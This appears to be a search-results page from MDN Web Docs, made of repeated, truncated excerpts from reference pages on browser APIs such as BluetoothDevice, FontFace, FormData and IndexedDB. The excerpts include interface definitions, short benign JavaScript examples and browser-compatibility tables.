...#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">bluetoothdevice</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} interface interface bluetoothdevice { readonly attribute domstring id; readonly attribute domstring? name; readonly attribute bluetoothremotegattserver? gatt; readonly attribute frozenarray uuids; promise watchadvertisements(); void unwatchadvertisements(); readonly attribute boolean watchingadvertisements; }; bluetoothdevice implements eventtarget; bluetoothdevice implements bluetoothdeviceeventhandlers; bluetoothdevice implements characteristiceventhandlers; bluetoothdevice im...
... bluetoothdevice.gatt read only a reference to the device's bluetoothremotegattserver. bluetoothdevice.uuids read only lists the uuid's of gatt services provided by the device, that the current origin is allowed to access. bluetoothdevice.watchingadver...
...ents(); readonly attribute boolean watchingadvertisements; }; bluetoothdevice implements eventtarget; bluetoothdevice implements bluetoothdeviceeventhandlers; bluetoothdevice implements characteristiceventhandlers; bluetoothdevice implements serviceeventhandlers; properties bluetoothdevice.id read only a domstring that uniquely identifies a device. bluetoothdevice.name read only a domstring that provices a human-readable name for the device. bluetoothdevice.gatt read only a reference to the device's bluetoothremotegattserver. bluetoothdevice.uuids read only lists the uuid's of gatt services provided by the device, that the current origin is allowed to access. bluetoothdevice.watchingadvertisements read only if advertisments were activated using bluetoothdevice.watch...
BudgetState - Web APIs
ue is valid. methods none. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support nosafari ? webview android no support nochrome android full support 60firefox android ? opera android no support nosafari ios ? samsung internet android full support 8.0budgetat experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ? ie ? opera no support nos...
... no support nosafari ? webview android no support nochrome android full support 60firefox android ? opera android no support nosafari ios ? samsung internet android full support 8.0time experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ? ie ? opera no support nosafar...
... no support nosafari ? webview android no support nochrome android full support 60firefox android ? opera android no support nosafari ios ? ...
CharacterData - Web APIs
="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, node, and implements the childnode and nondocumenttypechildnode interface. characterdata.data is a domstring representing the textual data contained in this object. characterdata.length read only returns an unsigned long representing the size of the string contained in characterdata.data. nondocumenttypechildnode.nextelementsibling read only returns the element immediately following the specified one in its parent's children list, or null if the specified element is the last one in the list. ...
...e in the list. nondocumenttypechildnode.previouselementsibling read only returns the element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list. methods inherits methods from its parent, node, and implements the childnode and nondocumenttypechildnode interface. characterdata.appenddata() appends the given domstring to the characterdata.data string; when this method returns, data contains the concatenated domstring. characterdata.deletedata() removes the specified amount of characters, starting at the specified offset, from the characterdata.data string; when this method returns, data contains the shortened domstring. characterdata.insertdata() inserts the specified characters, at the specified offs...
...ted domstring. characterdata.deletedata() removes the specified amount of characters, starting at the specified offset, from the characterdata.data string; when this method returns, data contains the shortened domstring. characterdata.insertdata() inserts the specified characters, at the specified offset, in the characterdata.data string; when this method returns, data contains the modified domstring. childnode.remove() removes the object from its parent children list. characterdata.replacedata() replaces the specified amount of characters, starting at the specified offset, with the specified domstring; when this method returns, data contains the modified domstring. ...
... specifications specification status comment domthe definition of 'characterdata' in that specification. ...
ChildNode.after() - Web APIs
Web › API › ChildNode › after
exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
ChildNode.before() - Web APIs
Web › API › ChildNode › before
exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
ChildNode.replaceWith() - Web APIs
exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. ...
DataTransfer.getData() - Web APIs
if the drag operation has no data or the operation has no data for the specified format, this method returns an empty string. caveats data availability the html5 drag and drop specification dictates a drag data store mode. ...
...if the drag operation has no data or the operation has no data for the specified format, this method returns an empty string. caveats data availability the html5 drag and drop specification dictates a drag data store mode. ...
...if the drag operation has no data or the operation has no data for the specified format, this method returns an empty string. caveats data availability the html5 drag and drop specification dictates a drag data store mode. ...
...if the drag operation has no data or the operation has no data for the specified format, this method returns an empty string. caveats data availability the html5 drag and drop specification dictates a drag data store mode. ...
DirectoryReaderSync - Web APIs
= e.data.entries; urls.foreach(function(url, i) { window.resolvelocalfilesystemurl(url, function(fileentry) { // print out file's name. console.log(fileentry.name); }); }); }; worker.postmessage({'cmd': 'list'}); the following is worker.js code that gets the contents of the directory. // taking care of the browser-specific prefixes. self.requestfilesystemsync = self.webkitrequestfilesystemsync || self.requestfilesystemsync; // global for holding the list of entry file system urls. var paths = []; function getallentries(dirreader) { var entries = dirreader.readentries(); for (var i = 0, entry; entry = entries[i]; ++i) { // stash this entry's filesystem in url paths.push(entry.tourl()); // if this is a...
..., traverse. if (entry.isdirectory) { getallentries(entry.createreader()); } } } // forward the error to main app. function onerror(e) { postmessage('error: ' + e.tostring()); } self.onmessage = function(e) { var data = e.data; // ignore everything else except our 'list' command. if (!data.cmd || data.cmd != 'list') { return; } try { var fs = requestfilesystemsync(temporary, 1024*1024 /*1mb*/); getallentries(fs.root.createreader()); self.postmessage({entries: paths}); } catch (e) { onerror(e); } }; method overview entrysync readentries () raises (fileexception); method readentries() returns a lost of entries from a specific directory. call this method until an empty array is returned. entrysync readentries ( ) rai...
... to look up the metadata. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross...
Document.getElementsByTagNameNS() - Web APIs
that when the node on which getelementsbytagname is invoked is not the document node, in fact the element.getelementsbytagnamens method is used. to use the following example, just copy/paste it into a new file saved with the .xhtml extension. ...
...ith the .xhtml extension. ...
...xhtml", "p"); var num = allparas.length; alert("there are " + num + " &lt;p&gt; elements in this document"); } function div1paraelems() { var div1 = document.getelementbyid("div1") var div1paras = div1.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = div1paras.length; alert("there are " + num + " &lt;p&gt; elements in div1 element"); } function div2paraelems() { var div2 = document.getelementbyid("div2") var div2paras = div2.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = div2paras.length; alert("there are " + num + " &lt;p&gt; elements in div2 element"); } </script> </head> <body style="border: solid green 3px"> <p>some outer text</p> <p>some outer text</p> <div id="div1" style="border: solid blue 3px"> <p>s...
...order: solid green 3px"> <p>some outer text</p> <p>some outer text</p> <div id="div1" style="border: solid blue 3px"> <p>some div1 text</p> <p>some div1 text</p> <p>some div1 text</p> <div id="div2" style="border: solid red 3px"> <p>some div2 text</p> <p>some div2 text</p> </div> </div> <p>some outer text</p> <p>some outer text</p> <button onclick="getallparaelems();"> show all p elements in document</button><br /> <button onclick="div1paraelems();"> show all p elements in div1 element</button><br /> <button onclick="div2paraelems();"> show all p elements in div2 element</button> </body> </html> potential workaround for other browsers which do not support if the desired browser did not support xpath, another approach (such as traversing the dom th...
DocumentType - Web APIs
aseline="middle">documenttype</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, node, and implements the childnode interface. documenttype.entities read only a namednodemap of entities declared in the dtd. every node in this map implements the entity interface. ...
...rties inherits properties from its parent, node, and implements the childnode interface. documenttype.entities read only a namednodemap of entities declared in the dtd. every node in this map implements the entity interface. documenttype.internalsubset read only a domstring of the internal subset, or null if there is none. eg "<!element foo (bar)>". documenttype.name read only a domstring, eg "html" for <!doctype html>. ...
... methods inherits methods from its parent, node, and implements the childnode interface. childnode.remove() removes the object from its parent children list. ...
... methods inherits methods from its parent, node, and implements the childnode interface. childnode.remove() removes the object from its parent children list. ...
Event.timeStamp - Web APIs
Web › API › Event › timeStamp
conds) at which the event was created. note: this property only works if the event system supports it for the particular event. syntax time = event.timestamp; value this value is the number of milliseconds elapsed from the beginning of the current document's lifetime till the event was created. in newer implementations, the value is a domhighrestimestamp accurate to 5 microseconds (0.005 ms). in older implementations, the value is a domtimestamp, accurate to a millisecond. example html <p> focus this iframe and press any key to get the current timestamp for the keypress event. </p> <p>timestamp: <span id="time">-</span></p> javascript function gettime(event) { var time = document.getelementbyid("time"); time.firstchild.nodevalue = event.timestamp; } document.body.addeve...
...ld.nodevalue = event.timestamp; } document.body.addeventlistener("keypress", gettime); result reduced time precision to offer protection against timing attacks and fingerprinting, the precision of event.timestamp might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. ...
... document.body.addeventlistener("keypress", gettime); result reduced time precision to offer protection against timing attacks and fingerprinting, the precision of event.timestamp might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. ...
... 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 event.timestamp; // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `privacy.resistfingerprinting` enabled event.timestamp; // 1519129853500 // 1519129858900 // 1519129864400 // ... in firefox, if you also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. specifications specification status comment domthe definition of 'event.timestamp' in that specification. living standard ...
FederatedCredential.protocol - Web APIs
openidconnect). examples // tbd specifications specification status comments credential management level 1the definition of 'protocol' in that specification. working draft initial definition. ...
...openidconnect). examples // tbd specifications specification status comments credential management level 1the definition of 'protocol' in that specification. working draft initial definition. ...
...ft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
FileReaderSync.readAsDataURL() - Web APIs
exceptions the following exceptions can be raised by this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g. because it has been erased. ...
... exceptions the following exceptions can be raised by this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g. because it has been erased. ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support ...
FileSystemFileEntry - Web APIs
draft of proposed api browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rt 18alternate name full support 18alternate name alternate name uses the non-standard name: fileentryfirefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitcreatewriter deprecatednon-standardchrome full support 8edge full support 79firefox ...
... 18firefox android no support 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it immediately called errorcallback with the ns_error_dom_security_err error.opera android no support nosafari ios no support nosamsung internet android full support yesfilechrome full support 8edge full support 79firefox full support 50ie no support noopera no support ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new...
FileSystemFlags - Web APIs
initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 50opera android no support nosafari ios no support nosamsung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitcreate experimentalchrome full support 13prefixed full support 13prefixed prefixed implemented w...
...ed implemented with the vendor prefix: webkitfirefox android partial support 50notes partial support 50notes notes for security reasons, firefox does not support creating files. ...
...ed implemented with the vendor prefix: webkitfirefox android partial support 50notes partial support 50notes notes for security reasons, firefox does not support creating files. ...
Introduction to the File and Directory Entries API - Web APIs
wing reasons: it lets apps have offline and storage features that involve large binary blobs. it can improve performance by letting an app pre-fetch assets in the background and cache locally. it lets users of your web app directly edit a binary file that's in their local file directory. it provides a storage api that is already familiar to your users, who are used to working with file systems. for examples of features you can create with this app, see the sample use cases section. the file and directory entries api and other storage apis the file and directory entries api is an alternative to other storage apis like indexeddb, websql (which has been deprecated since november18, 2010), and appcache. the api is a better choice for apps that deal with blobs for the following reaso...
...s api does not use callbacks because the api methods return values. global methods of the asynchronous and synchronous apis. the asynchronous api has the following global methods: requestfilesystem() and resolvelocalfilesystemurl(). these methods are members of both the window object and the worker global scope. the synchronous api, on the other hand, uses the following methods: requestfilesystemsync() and resolvelocalfilesystemsyncurl(). these synchronous methods are members of the worker's global scope only, not the window object. the synchronous api can be simpler for some tasks. its direct, in-order programming model can make code easier to read. the drawback of synchronous api has to do with its interactions with web workers, which has some limitations. when using the asynchronous...
...e file and directory entries api does not let you create and rename executable files the file system is sandboxed you cannot run your app from file:// the file and directory entries api adheres to the same-origin policy an origin is the domain, application layer protocol, and port of a url of the document where the script is being executed. each origin has its own associated set of file systems. the security boundary imposed on file system prevents applications from accessing data with a different origin. this protects private data by preventing access and deletion. for example, while an app or a page in http://www.example.com/app/ can access files from http://www.example.com/dir/, because they have the same origin, it cannot retrieve files from http://www.example.com:8080/dir/ (differ...
...y from file://. if you do so, the browser throws errors or your app fails silently. this restriction also applies to many of the file apis, including blobbuilder and filereader. for testing purposes, you can bypass the restriction on chrome by starting the browser with the --allow-file-access-from-files flag. use this flag only for this purpose. definitions this section defines and explains terms used in the file and directory entries api. blob stands for binary large object. a blob is a set of binary data that is stored as a single object. it is a general-purpose way to reference binary data in web applications. a blob can be an image or an audio file. blob blob—with a capital b—is a data structure that is immutable, which means that binary data referenced by a blob cannot be m...
FontFace - Web APIs
Web › API › FontFace
ol of the source of the font face, being a url to an external resource, or a buffer; it also allows control of when the font face is loaded and its current status. constructor fontface() constructs and returns a new fontface object, built from an external resource described by an url or from an arraybuffer. properties this interface doesn't inherit any property. fontface.display a cssomstring that determines how a font face is displayed based on whether and when it is downloaded and ready to use. fontface.family a cssomstring that retrieves or sets the family of the font. it is equivalent to the font-family descriptor. fontface.featuresettings a cssomstring that retrieves or sets infrequently used font features that are not available from a font's variant properties. it is eq...
...he font-feature-settings descriptor. fontface.loaded read only returns a promise that resolves with the current fontface object when the font specified in the object's constructor is done loading or rejects with a syntaxerror. fontface.status read only returns an enumerated value indicating the status of the font, one of "unloaded", "loading", "loaded", or "error". fontface.stretch a cssomstring that retrieves or sets how the font stretches. it is equivalent to the font-stretch descriptor. fontface.style a cssomstring that retrieves or sets the style of the font. it is equivalent to the font-style descriptor. fontface.unicoderange a cssomstring that retrieves or sets the range of unicode codepoints encompassing the font. it is equivalent to the unicode-range descriptor. fontfac...
...it is equivalent to the font-weight descriptor. methods this interface doesn't inherit any method. ...
...it is equivalent to the font-weight descriptor. methods this interface doesn't inherit any method. ...
FontFaceSetLoadEvent - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 22safari ? webview android no support nochrome android full support 35firefox android full support yesopera android full support 22safari ios ? samsung internet android full support 3.0fontfacesetloadevent() constructor experimentalchrome full support 57edge full support ≤79firefox ? ie ? opera full support ...
... full support 44safari ? webview android no support nochrome android full support 57firefox android ? opera android full support 43safari ios ? samsung internet android full support 7.0fontfaces experimentalchrome full support 35edge full support ≤79firefox full support yesie ? opera full support ...
... 22safari ? webview android no support nochrome android full support 35firefox android full support yesopera android full support 22safari ios ? ...
Using FormData Objects - Web APIs
the transmitted data is in the same format that the form's submit() method would use to send the data if the form's encoding type were set to multipart/form-data. ...
...id" placeholder="email" required size="32" maxlength="64" /><br /> <label>custom file label:</label> <input type="text" name="filelabel" size="12" maxlength="32" /><br /> <label>file to stash:</label> <input type="file" name="file" required /> <input type="submit" value="stash the file!" /> </form> <div></div> then you can send it using code like the following: var form = document.forms.nameditem("fileinfo"); form.addeventlistener('submit', function(ev) { var ooutput = document.queryselector("div"), odata = new formdata(form); odata.append("customfield", "this is some extra data"); var oreq = new xmlhttprequest(); oreq.open("post", "stash.php", true); oreq.onload = function(oevent) { if (oreq.status == 200) { ooutput.innerhtml = "uploaded!"; } el...
... ...
... ...
GamepadEvent - Web APIs
om index %d: %s", e.gamepad.index, e.gamepad.id); }); specifications specification status comment gamepadthe definition of 'gamepadevent' in that specification. ...
... yesfirefox android full support 32opera android full support 22 full support 22 no support 14 — 21prefixed prefixed implemented with the vendor prefix: webkitsafari ios full support 10.3samsung internet android full support yesgamepadevent() constructorchrome full support 35edge full support 12firefox full support 29 full support 29 no support ...
... 10.1webview android no support nochrome android full support yesfirefox android full support 32opera android full support 22safari ios full support 10.3samsung internet android full support yesgamepadchrome full support 35 full support 35 no support 21 — 34prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... yesfirefox android full support 32opera android full support 22 full support 22 no support 14 — 21prefixed prefixed implemented with the vendor prefix: webkitsafari ios full support 10.3samsung internet android full support yeslegend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.requires a vendor prefix or different name f...
HTMLImageElement.crossOrigin - Web APIs
if you don't specify crossorigin, the image is fetched without cors (the fetch no-cors mode). ...
...nt to configure cors access for the fetch of a newly-created image. const imageurl = "https://mdn.mozillademos.org/files/16797/clock-demo-400px.png"; const container = document.queryselector(".container"); function loadimage(url) { const image = new image(200, 200); image.addeventlistener("load", () => container.prepend(image) ); image.addeventlistener("error", () => { const errmsg = document.createelement("output"); errmsg.value = `error loading image at ${url}`; container.append(errmsg); }); image.crossorigin = "anonymous"; image.alt = ""; image.src = url; } loadimage(imageurl); html <div class="container"> <p>here's a paragraph. it's a very interesting paragraph. you are captivated by this paragraph. keep reading this paragraph. okay, now you c...
...ification. unknown browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ? ...
HTMLOrForeignElement.dataset - Web APIs
note that the dataset property itself can be read, but not directly written. instead, all writes must be to the individual properties within the dataset, which in turn represent the data attributes. ...
...note that the dataset property itself can be read, but not directly written. instead, all writes must be to the individual properties within the dataset, which in turn represent the data attributes. ...
...). in javascript, the name of a custom data attribute is the name of the same html attribute, but in camelcase and with no dashes, dots, etc. in addition to the information below, you'll find a how-to guide for using html data attributes in our article using data attributes. name conversion dash-style to camelcase conversion a custom data attribute name is transformed to a key for the domstringmap entry with the following rules the prefix data- is removed (including the dash); for any dash (u+002d) followed by an ascii lowercase letter a to z, the dash is removed, and the letter is transformed into its uppercase counterpart; other characters (including other dashes) are left unchanged. camelcase to dash-style conversion the opposite transformation, which maps a key...
...syntax, as in element.dataset[keyname] the in operator can be used to check whether a given attribute exists. setting values when an attribute is set, its value is always converted into a string. for example: null is converted into the string "null". to remove an attribute, you can use the delete operator. syntax const dataattrmap = element.dataset value a domstringmap. examples <div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>john doe</div> const el = document.queryselector('#user'); // el.id === 'user' // el.dataset.id === '1234567890' // el.dataset.user === 'johndoe' // el.dataset.dateofbirth === '' // set the data attribute el.dataset.dateofbirth = '1960-10-03'; // result: el.dataset.dateofbirth === 1960-10-03 delete ...
HTMLSelectElement.selectedOptions - Web APIs
n htmloptgroupelement within the <select> element. in other words, any option contained within the <select> element may be part of the results, but option groups are not included in the list. if no options are currently selected, the collection is empty and returns a length of 0. example in this example, a <select> element with a number of options is used to let the user order various food items. html the html that creates the selection box and the <option> elements representing each of the food choices looks like this: <label for="foods">what do you want to eat?</label><br> <select id="foods" name="foods" size="7" multiple> <option value="1">burrito</option> <option value="2">cheeseburger</option> <option value="3">double bacon burger supreme</option> <option value="4">pepper...
...note also the <button>, whose role it is to trigger fetching the htmlcollection of selected elements using the selected property. javascript the javascript code that establishes the event handler for the button, as well as the event handler itself, looks like this: let orderbutton = document.getelementbyid("order"); let itemlist = document.getelementbyid(...
...s like this: let orderbutton = document.getelementbyid("order"); let itemlist = document.getelementbyid("foods"); let outputbox = document.getelementbyid("output"); orderbutton.addeventlistener("click", function() { let collection = itemlist.selectedoptions; let output = ""; for (let i=0; i<collection.length; i++) { if (output === "") { output = "your order for the following items has been placed: "; } output += collection[i].label; if (i === (collection.length - 2) && (collection.length < 3)) { output += " and "; } else if (i < (collection.length - 2)) { output += ", "; } else if (i === (collection.length - 2)) { output += ", and "; } } if (output === "") { output = "you didn't order anything!"; } outputbox.innerht...
... output += ", and "; } } if (output === "") { output = "you didn't order anything!"; } outputbox.innerhtml = output; }, false); this script sets up a click event listener on the "order now" button. when clicked, the event handler fetches the list of selected options using selectedoptions, then iterates over the options in the list. a string is constructed to list the ordered items, with logic to build the list using proper english grammar rules (including a serial comma). result the resulting content looks like this in action: specifications specification status comment html living standardthe definition of 'htmlselectelement.selectedoptions' in that specification. living standard no change from html5 html5the definition of 'htm...
HTMLTableRowElement - Web APIs
stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablerowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmltablerowelement.align is a domstring containing an enumerated value reflecting the align attribute. it indicates the alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", and "center". htmltablerowelement.bgcolor is a domstring containing the background color of the cells. it reflects the obsolete bgcolor attribute. htmltablerowelement.cells read only return...
...es are "left", "right", and "center". htmltablerowelement.bgcolor is a domstring containing the background color of the cells. it reflects the obsolete bgcolor attribute. htmltablerowelement.cells read only returns a live htmlcollection containing the cells in the row. the htmlcollection is live and is automatically updated when cells are added or removed. htmltablerowelement.ch is a domstring containing one single character. this character is the one to align all the cell of a column on. it reflects the char and default to the decimal points associated with the language, e.g. '.' for english, or ',' for french. this property was optional and was not very well supported. ...
...this property was optional and was not very well supported. ...
....rowindex read only returns a long value which gives the logical position of the row within the entire table. if the row is not part of a table, returns -1. htmltablerowelement.sectionrowindex read only returns a long value which gives the logical position of the row within the table section it belongs to. if the row is not part of a section, returns -1. htmltablerowelement.valign is a domstring representing an enumerated value indicating how the content of the cell must be vertically aligned. it reflects the valign attribute and can have one of the following values: "top", "middle", "bottom", or "baseline". methods inherits methods from its parent, htmlelement. htmltablerowelement.deletecell() removes the cell at the given position in the row. if the given position is greate...
HTMLTableSectionElement - Web APIs
"#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablesectionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmltablesectionelement.align is a domstring containing an enumerated value reflecting the align attribute. it indicates the alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", and "center". htmltablesectionelement.rows read only returns a live htmlcollection containing the rows in the section. the htmlcollection is live and is automatically updated when rows are adde...
...align attribute. it indicates the alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", and "center". htmltablesectionelement.rows read only returns a live htmlcollection containing the rows in the section. the htmlcollection is live and is automatically updated when rows are added or removed. ...
...n rows are added or removed. htmltablesectionelement.ch is a domstring containing one single chararcter. this character is the one to align all the cell of a column on. it reflects the char and default to the decimal points associated with the language, e.g. '.' for english, or ',' for french. this property was optional and was not very well supported. htmltablesectionelement.choff is a domstring containing a integer indicating how many characters must be left at the right (for left-to-right scripts; or at the left for right-to-left scripts) of the character defined by htmltablerowelement.ch. this property was optional and was not very well supported. ...
...it reflects the valign attribute and can have one of the following values: "top", "middle", "bottom", or "baseline". methods inherits methods from its parent, htmlelement. ...
The HTML DOM API - Web APIs
lable plugins (if any), and various configuration options. barprop navigator window deprecated web app and browser integration interfaces external obsolete web app and browser integration interfaces applicationcache plugin pluginarray form support interfaces these interfaces provide structure and functionality required by the elements used to create and manage forms, including the <form> and <input> elements. formdataevent htmlformcontrolscollection htmloptionscollection radionodelist validitystate canvas and image interfaces these interfaces represent objects used by the canvas api as well as the <img> element and <picture> elements. canvasgradient canvaspattern canvasrenderingcontext2d imagebitmap imagebitmaprenderingcontext imagedata ...
...nterfaces the media interfaces provide html access to the contents of the media elements: <audio> and <video>. audiotrack audiotracklist mediaerror texttrack texttrackcue texttrackcuelist texttracklist timeranges trackevent videotrack videotracklist drag and drop interfaces these interfaces are used by the html_drag_and_drop_api to represent individual draggable (or dragged) items, groups of dragged or draggable items, and to handle the drag and drop process. datatransfer datatransferitem datatransferitemlist dragevent page history interfaces the history api interfaces let you access information about the browser's history, as well as to shift the browser's current tab forward and backward through that history. beforeunloadevent hashchangeevent history lo...
...ent web components interfaces these interfaces are used by the web components api to create and manage the available custom elements. customelementregistry miscellaneous and supporting interfaces these supporting object types are used in a variety of ways in the html dom api. in addition, promiserejectionevent represents the event delivered when a javascript promise is rejected. domstringlist domstringmap errorevent htmlallcollection mimetype mimetypearray promiserejectionevent interfaces belonging to other apis several interfaces are technically defined in the html specification while actually being part of other apis. web storage interfaces the web_storage_api provides the ability for web sites to store data either temporarily or permanently on the user's device...
...gth of the current value of the input; if it's zero, then the "send" button is disabled if it's not already disabled. otherwise, the code ensures that the button is enabled. with this in place, the "send" button is always enabled whenever the user name input field has a value, and disabled when it's empty. html the html for the form looks like this: <p>please provide the information below. ...
IDBCursorWithValue - Web APIs
n. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitvaluechrome full support 24 full support 24 ...
... opera full support ...
... yessafari ? webview android full support yeschrome android full support yesfirefox android full support 42opera android full support yessafari ios ? ...
IDBDatabase.transaction() - Web APIs
to write the data but potentially before that data has actually been flushed to disk. the complete event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the os crashes or there is a loss of system power before the data is flushed to disk. since such catastrophic events are rare most consumers should not need to concern themselves further. note: in firefox, if you wish to ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see idbdatabase.transaction.) this is currently experimental, and can only be u...
...ansaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // you would then go on to do something to this database // via an object store var objectstore = transaction.objectstore("todolist"); // etc. specification specification status comment indexed database api 2.0the definition of 'transaction()' in that specification. recommendation indexed database api draftthe definition of 'transa...
...n. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBIndex.name - Web APIs
Web › API › IDBIndex › name
exceptions there are a several exceptions which can occur when you attempt to change an index's name. invalidstateerror the index, or its object store, has been deleted; or the current transaction is not an upgrade transaction. ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support ? — ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5renaming with name setterchrome full support yesedge full support ≤79firefox full support 49ie ? opera ? safari ...
... ? opera ? safari ? webview android full support yeschrome android full support yesfirefox android ? opera android ? safari ios ? ...
IDBObjectStore.indexNames - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add(). after the object store has been created, we log objectstore.indexnames to the console. ...
..., ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBRequest.error - Web APIs
Web › API › IDBRequest › error
